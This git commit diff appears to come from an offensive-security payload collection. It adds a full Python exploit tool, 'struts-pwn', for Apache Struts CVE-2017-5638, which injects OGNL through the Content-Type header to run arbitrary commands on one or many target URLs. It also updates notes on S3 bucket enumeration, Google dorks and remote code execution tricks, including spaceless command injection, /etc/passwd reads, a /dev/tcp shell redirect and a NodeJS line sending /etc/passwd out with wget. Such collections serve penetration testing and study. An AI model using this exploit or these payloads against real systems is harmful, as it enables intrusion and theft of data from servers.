CVE Struts RCE + AWS ls + RCE spaceless Windows + Methodology updated

This commit is contained in:
Swissky 2017-06-05 14:57:28 +02:00
parent 2e75cbe25a
commit 7c865ab8aa
7 changed files with 207 additions and 12 deletions

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@ -17,7 +17,12 @@ aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
```
Bucket Finder
Basic test
```
aws s3 ls s3://targetbucket
```
### Bucket Finder
A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files.
```
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
@ -42,3 +47,4 @@ List of the top Alexa 100,000 sites with permutations on the TLD and www. For ex
## Thanks to
* https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
* https://digi.ninja/projects/bucket_finder.php
* [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792)

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@ -0,0 +1,176 @@
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code is based on:
# https://www.exploit-db.com/exploits/41570/
# https://www.seebug.org/vuldb/ssvid-92746
# *****************************************************
import sys
import random
import requests
import argparse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: id)",
action='store',
default='id')
parser.add_argument("--check",
dest="do_check",
help="Check if a target is vulnerable.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_check = args.do_check if args.do_check else None
def url_prepare(url):
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str('http') + str('://') + str(url)
return(url)
def exploit(url, cmd):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
print('[*] CMD: %s' % (cmd))
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
return(output)
def check(url):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))
payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': str(payload),
'Accept': '*/*'
}
timeout = 3
try:
resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
result = True
else:
result = False
except Exception as e:
print("EXCEPTION::::--> " + str(e))
result = False
return(result)
def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
if url:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), 'r')
URLs_List = f_file.read().replace('\r', '').split('\n')
try:
URLs_List.remove('')
except ValueError:
pass
f_file.close()
except:
print('Error: There was an error in reading list file.')
exit(1)
for url in URLs_List:
if do_check:
result = check(url) # Only check for existence of Vulnerablity
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
else:
output = exploit(url, cmd) # Exploit
print(output)
print('[%] Done.')
if __name__ == '__main__':
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
except KeyboardInterrupt:
print('\nKeyboardInterrupt Detected.')
print('Exiting...')
exit(0)

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@ -1,13 +1,16 @@
# Common Vulnerabilities and Exposures
Big CVEs in the last 5 years.
Big CVEs in the last 5 years.
## Heartbleed
## CVE-2014-0160 - Heartbleed
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
## Shellshock
## CVE-2014-6271 - Shellshock
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
## CVE-2017-5638 - Apache Struts 2
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
## Thanks to
* http://heartbleed.com
* https://en.wikipedia.org/wiki/Shellshock_(software_bug)
* [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)

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@ -15,13 +15,16 @@ git clone https://github.com/danielmiessler/SecLists.git
knockpy domain.com -w subdomains-top1mil-110000.txt
```
* Using Google Dorks
* Using Google Dorks and Google Transparency Report
```bash
site:*.domain.com -www
site:http://domain.com filetype:pdf
site:http://domain.com inurl:&
site:http://domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin
site:http://domain.com ext:php,asp,aspx,jsp,jspa,txt,swf
You need to include subdomains ;)
https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true
```
* Subdomain take over using HostileSubBruteForcer

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@ -1,14 +1,14 @@
# Remote Code Execution
Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
## Exploits
Normal code execution, execute the command and voila :p
```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```
@ -19,7 +19,7 @@ original_cmd_by_server && ls
original_cmd_by_server | ls
```
Code execution without space
Code execution without space - Linux
```
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
@ -40,6 +40,12 @@ Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
```
Code execution without space - Windows
```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```
## Time based data exfiltration
Extracting data : char by char
```
@ -54,7 +60,7 @@ user 0m0.000s
sys 0m0.000s
```
## Environment based
## Environment based
NodeJS Code execution
```
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
@ -62,3 +68,4 @@ require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
## Thanks to
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)